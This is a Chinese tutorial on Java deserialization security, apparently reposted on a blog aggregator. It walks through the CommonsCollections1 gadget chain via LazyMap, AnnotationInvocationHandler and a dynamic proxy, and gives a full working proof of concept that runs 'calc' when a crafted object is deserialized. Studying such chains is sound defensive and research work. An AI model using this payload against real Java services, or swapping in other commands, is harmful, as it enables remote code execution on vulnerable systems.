[java安全]CommonsCollections1(LazyMap)

这篇具有很好参考价值的文章主要介绍了[java安全]CommonsCollections1(LazyMap)。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

【java安全】CommonsCollections1(LazyMap)

前言

前面我们学习了cc1链使用TransformedMap构造,但是ysoserial使用的是LazyMap进行构造的,相对复杂一点

我们先复习一下:

[java安全]CommonsCollections1(LazyMap),java,java,安全,开发语言,web安全

LazyMapTransformedMap都是在CommonsCollections模块中,我们想要测试首先需要创建maven项目,然后导入坐标

<dependency>
      <groupId>commons-collections</groupId>
      <artifactId>commons-collections</artifactId>
      <version>3.2.1</version>
</dependency>

我们使用TransformedMap是通过触发checkSetValue()方法来触发ChainedTransformer类的transform()方法最终RCE

那么LazyMap是如何触发transform()方法呢?

LazyMap

我们查看LazyMap源码:

protected LazyMap(Map map, Transformer factory) {
        super(map);
        if (factory == null) {
            throw new IllegalArgumentException("Factory must not be null");
        } else {
            this.factory = factory;
        }
    }

public Object get(Object key) {
        if (!this.map.containsKey(key)) {
            Object value = this.factory.transform(key);
            this.map.put(key, value);
            return value;
        } else {
            return this.map.get(key);
        }
    }

发现get()方法可以执行factory变量的transform()方法,而factory刚好是Transformer类型

所以只要创建一个LazyMap对象,factory传入ChainedTransformer对象,只要调用了LazyMap对象的get()方法,就可以RCE了

如何创建LazyMap对象?

我们可以使用decorate()方法:

public static Map decorate(Map map, Transformer factory) {
        return new LazyMap(map, factory);
    }

参数:

  • map参数可以传入一个空的HashMap对象
  • factory 可以传入一个ChainedTransformer对象

如何调用LazyMap的get()方法?

我们之前触发 TransformedMap,是通过sun.reflect.annotation.AnnotationInvocationHandler执行setValue()触发TransformedMapcheckSetValue()函数执行transform()方法

protected Object checkSetValue(Object value) {
        return this.valueTransformer.transform(value);
    }

那我们怎么触发TransformedMap#get()方法呢?

我们再看看sun.reflect.annotation.AnnotationInvocationHandler源码:

public Object invoke(Object var1, Method var2, Object[] var3) {
        ...
            if (var4.equals("toString")) {
                return this.toStringImpl();
            } else if (var4.equals("hashCode")) {
                return this.hashCodeImpl();
            } else if (var4.equals("annotationType")) {
                return this.type;
            } else {
                Object var6 = this.memberValues.get(var4);
                ...
    }

这里我们注意到invoke()调用了this.memberValues变量的get()方法,而memberValues变量

AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
        this.type = var1; // var1是Annotation的子类
        this.memberValues = var2;
    }

是构造AnnotationInvocationHandler传入的第二个参数,如果我们将var2传入LazyMap对象,那么只要AnnotationInvocationHandler触发了invoke()方法,就可以调用LazyMapget()方法

如何触发AnnotationInvocationHandler#invoke()方法?

可以使用java的动态代理机制,

我们创建一个AnnotationInvocationHandler对象,第二个参数传入LazyMap对象,对Map创建一个代理:

Map proxyMap = (Map)Proxy.newProxyInstance(Map.class.getClassLoader(),Map.class.getInterfaces(),handler);

然后只要随便使用proxyMap动态代理对象调用方法,就会触发 hander变量,即AnnotationInvocationHandler对象的invoke()方法,从而调用LazyMapget()

问题又来了,怎么才能随便调用proxyMap动态代理对象的方法,并且使用readObject()反序列化的方式呢?

我们可以再次将proxyMap封装到AnnotationInvocationHandler中,因为它的readObject()方法存在函数调用:

private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
        var1.defaultReadObject();
        AnnotationType var2 = null;
		...
        Map var3 = var2.memberTypes();
        Iterator var4 = this.memberValues.entrySet().iterator();

}

这里的this.memberValues就是proxyMap,他会调用entrySet()从而触发invoke()

POC

测试环境

  • 3.1-3.2.1 jdk版本小于u71
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class CommonsCollections1 {

    public static void main(String[] args) {

        //Transformer数组
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };

        //ChainedTransformer实例
        Transformer chainedTransformer = new ChainedTransformer(transformers);

        //LazyMap实例
        Map uselessMap = new HashMap();
        Map lazyMap = LazyMap.decorate(uselessMap,chainedTransformer);

        try {
            //反射获取AnnotationInvocationHandler实例
            Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
            Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
            constructor.setAccessible(true);
            InvocationHandler handler = (InvocationHandler) constructor.newInstance(Override.class, lazyMap);

            //动态代理类,设置一个D代理对象,为了触发 AnnotationInvocationHandler#invoke           
            Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), LazyMap.class.getInterfaces(), handler);

            InvocationHandler handler1 = (InvocationHandler) constructor.newInstance(Override.class, mapProxy);

            //序列化
            ByteArrayOutputStream baos = new ByteArrayOutputStream();
            ObjectOutputStream oos = new ObjectOutputStream(baos);
            oos.writeObject(handler1);
            oos.flush();
            oos.close();

            //测试反序列化
            ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
            ObjectInputStream ois = new ObjectInputStream(bais);
            ois.readObject();
            ois.close();

        } catch (Exception e) {
            e.printStackTrace();
        }

    }

}

运行代码:

总结

讲到这里,整个一条链子算是清晰了起来:

->AnnotationInvocationHandler.readObject()
      ->proxyMap.entrySet().iterator()  //动态代理类
          ->AnnotationInvocationHandler.invoke()
            ->LazyMap.get()
                ->ChainedTransformer.transform()
                ->ConstantTransformer.transform()
                    ->InvokerTransformer.transform()
                    ->…………

参考

CC链 1-7 分析

Java安全漫谈 - 11.反序列化篇(5)文章来源地址https://www.toymoban.com/news/detail-585146.html

到了这里,关于[java安全]CommonsCollections1(LazyMap)的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • JAVA开发(从安全角度学习)

     web.xml(第二种配置路由的方式) 使用预编译写法可以有效防止sql注入。 Filter 被称为过滤器,过滤器实际上就是对 Web 资源进行拦截,做一些处理后再交给下一个过滤器或 Servlet 处理,通常都是用来拦截request进行处理的,也可以对返回的 response进行拦截处理。开发人员利用

    2024年03月18日
    浏览(37)
  • Java安全 URLDNS链分析,网络安全开发面试基础

    this代表的是当前对象的指针,也可以用 this.name 的方式调用当前对象中的成员 那我们去 URLStreamHandler类 当中,查看下 hashCode方法 的代码 protected int hashCode(URL u) { int h = 0; // Generate the protocol part. String protocol = u.getProtocol(); if (protocol != null) h += protocol.hashCode(); // Generate the host pa

    2024年04月23日
    浏览(35)
  • 瑞_Java开发手册_(四)安全规约

    🙊前言:本文章为瑞_系列专栏之《Java开发手册》的安全规约篇。由于博主是从阿里的《Java开发手册》学习到Java的编程规约,所以本系列专栏主要以这本书进行讲解和拓展,有需要的小伙伴可以点击链接下载。本文仅供大家交流、学习及研究使用,禁止用于商业用途,违者

    2024年01月17日
    浏览(46)
  • 码出高效:Java开发手册笔记(线程安全)

        并发与并行的目标都是尽可能快地执行完所有任务。以医生坐诊为例,某个科室有两个专家同时出诊,这就是两个并行任务,其中一个医生,时而问诊,时而查看化验单,然后继续问诊,突然又中断去处理病人的咨询,这就是并发。在并发环境下,由于程序的封闭性全

    2024年02月08日
    浏览(38)
  • 阿里巴巴Java开发 单元测试和安全规约

    目录 前言 1.单元测试 2.安全规约 单元测试和安全规约依次分为【 重要 】、【 建议 】、【 参考 】,整理单元测试和安全规约为了更好处理代码中bug,使得代码更加安全。 1.【 重要 】好的单元测试必须遵守 AIR 原则。          说明 :单元测试在线上运行时,感觉像空气

    2024年04月10日
    浏览(54)
  • 开发安全Java应用程序的13条规则((Mark)

    漏洞喜欢隐藏在复杂性中,因此在不牺牲功能的情况下使代码尽可能简单。使用成熟的设计原则(例如DRY)(不要重复),将帮助您编写更易于查看问题的代码。 始终在代码中公开尽可能少的信息。隐藏实施细节支持可维护和安全的代码。这三个技巧将大大有助于编写安全的

    2024年04月14日
    浏览(38)
  • java开发安全之:Password Management: Hardcoded Password

    Overview Hardcoded password 可能会削弱系统安全性,一旦出现安全问题将无法轻易修正。 Details 使用硬编码方式处理密码绝非好方法。这不仅是因为所有项目开发人员都可以使用通过硬编码方式处理的密码,而且还会使解决这一问题变得极其困难。在代码投入使用之后,除非对软件

    2024年01月21日
    浏览(41)
  • JAVA 两个通用安全模块的设计与开发(论文+源码)_Nueve

    摘  要 本文详细介绍了基于口令的身份认证与文件安全传输两个通用安全模块的设计原理和实现过程,分析了当前口令保存的安全性,提出了运用MD5算法等对口令进行处理,并将处理结果保存在数据库中的方法。同时为了进一步增强认证系统的灵活度,设计了用户注册时的口

    2024年02月04日
    浏览(38)
  • Java开发安全之:Unreleased Resource: Streams需确保流得到释放

    Overview  java 中的函数 getResponseBytes() 有时无法成功释放由  getInputStream() 函数分配的系统资源。 Details 程序可能无法成功释放某一项系统资源。 在这种情况下,在某些程序路径上,所分配的资源未释放。 资源泄露至少有两种常见的原因: - 错误状况及其他异常情况。 - 未

    2024年01月21日
    浏览(39)
  • 安全学习_开发相关_Java第三方组件Log4j&FastJSON及相关安全问题简介

    Java Naming and Directory Interface (Java 命名和目录接口 ),JNDI 提供统一的客户端 API,通过不同的服务供应接口(SPI)的实现,由管理者将 JNDI API 映射为特定的命名服务和目录服务,使得 JAVA 应用程可以通过 JNDI 实现和这些命名服务和目录服务之间的交互。 Log4J: Apache的一个开源项目

    2024年02月05日
    浏览(55)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包